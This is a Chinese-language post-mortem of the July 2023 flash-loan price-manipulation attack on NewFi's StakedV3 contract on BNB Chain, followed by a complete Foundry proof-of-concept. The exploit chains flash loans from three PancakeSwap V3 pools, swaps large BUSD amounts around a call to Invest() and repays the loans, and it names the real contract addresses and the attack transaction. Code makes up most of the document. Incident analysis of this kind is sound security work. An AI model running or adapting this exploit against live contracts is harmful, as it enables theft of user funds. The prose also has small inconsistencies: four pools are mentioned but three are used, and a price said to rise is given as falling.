攻击介绍
2023年7月17日,bscscan链上的NewFi被黑客攻击,一共损失了价值31k$的BUSD。

攻击分析
我们使用phalcon进行分析,通过phalcon的调用栈分析,可以看到攻击者首先从4个池子贷了大量的BUSD,然后在PancakeSwap: Smart Router V3中通过以质押与回收BUSD从中套了31,099的BUSD。分析StakedV3.Invest()的调用栈,发现sqrtPriceX96从456917351256涨到了396517633895,显然攻击者通过StakedV3的Invest()方法操纵了价格。

POC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// Vulnerable Contract : 0xb8dc09eec82cab2e86c7edc8dd5882dd92d22411
// Attack Tx : 0x557628123d137ea49564e4dccff5f5d1e508607e96dd20fe99a670519b679cb5

interface IStakedV3 {
function Invest(
uint256 id,
uint256 amount,
uint256 quoteAmount,
uint256 investType,
uint256 cycle,
uint256 deadline
) external payable;
}

contract ContractTest is Test {
IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
Uni_Router_V3 Router = Uni_Router_V3(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4);
Uni_Pair_V3 Pair1 = Uni_Pair_V3(0x22536030B9cE783B6Ddfb9a39ac7F439f568E5e6);
Uni_Pair_V3 Pair2 = Uni_Pair_V3(0x85FAac652b707FDf6907EF726751087F9E0b6687);
Uni_Pair_V3 Pair3 = Uni_Pair_V3(0x369482C78baD380a036cAB827fE677C1903d1523);
IStakedV3 StakedV3 = IStakedV3(0xB8dC09Eec82CaB2E86C7EdC8DD5882dd92d22411);

function setUp() public {
vm.createSelectFork("bsc", 30_043_573);
vm.label(address(BUSD), "BUSD");
vm.label(address(USDT), "USDT");
vm.label(address(Router), "Router");
vm.label(address(Pair1), "Pair1");
vm.label(address(Pair2), "Pair2");
vm.label(address(StakedV3), "StakedV3");
}

function testExploit() public {
USDT.approve(address(Router), type(uint256).max);
BUSD.approve(address(Router), type(uint256).max);
BUSD.approve(address(StakedV3), type(uint256).max);
BUSD.approve(address(StakedV3), type(uint256).max);
Pair1.flash(address(this), 0, BUSD.balanceOf(address(Pair1)), abi.encode(BUSD.balanceOf(address(Pair1))));

emit log_named_decimal_uint(
"Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), BUSD.decimals()
);
}

function pancakeV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
if (msg.sender == address(Pair1)) {
Pair2.flash(address(this), 0, BUSD.balanceOf(address(Pair2)), abi.encode(BUSD.balanceOf(address(Pair2))));
uint256 repayAmount = abi.decode(data, (uint256));
BUSD.transfer(address(Pair1), repayAmount + amount1);
} else if (msg.sender == address(Pair2)) {
Pair3.flash(address(this), 0, BUSD.balanceOf(address(Pair3)), abi.encode(BUSD.balanceOf(address(Pair3))));
uint256 repayAmount = abi.decode(data, (uint256));
BUSD.transfer(address(Pair2), repayAmount + amount1);
} else if (msg.sender == address(Pair3)) {
BUSDToUSDT();
StakedV3.Invest(2, 1 ether, 2, 1, 7, block.timestamp + 1000); // remove liquidity and swap BUSD to USDT
USDTToBUSD();
uint256 repayAmount = abi.decode(data, (uint256));
BUSD.transfer(address(Pair3), repayAmount + amount1);
}
}

function BUSDToUSDT() internal {
bytes memory path = abi.encodePacked(address(BUSD), uint24(100), address(USDT));
address recipient = address(this);
uint256 amountIn = 12_000_000 ether;
uint256 amountOutMinimum = 0;
Uni_Router_V3.ExactInputParams memory ExactInputParams =
Uni_Router_V3.ExactInputParams(path, recipient, amountIn, amountOutMinimum);
Router.exactInput(ExactInputParams);
}

function USDTToBUSD() internal {
bytes memory path = abi.encodePacked(address(USDT), uint24(100), address(BUSD));
address recipient = address(this);
uint256 amountIn = USDT.balanceOf(address(this));
uint256 amountOutMinimum = 0;
Uni_Router_V3.ExactInputParams memory ExactInputParams =
Uni_Router_V3.ExactInputParams(path, recipient, amountIn, amountOutMinimum);
Router.exactInput(ExactInputParams);
}
}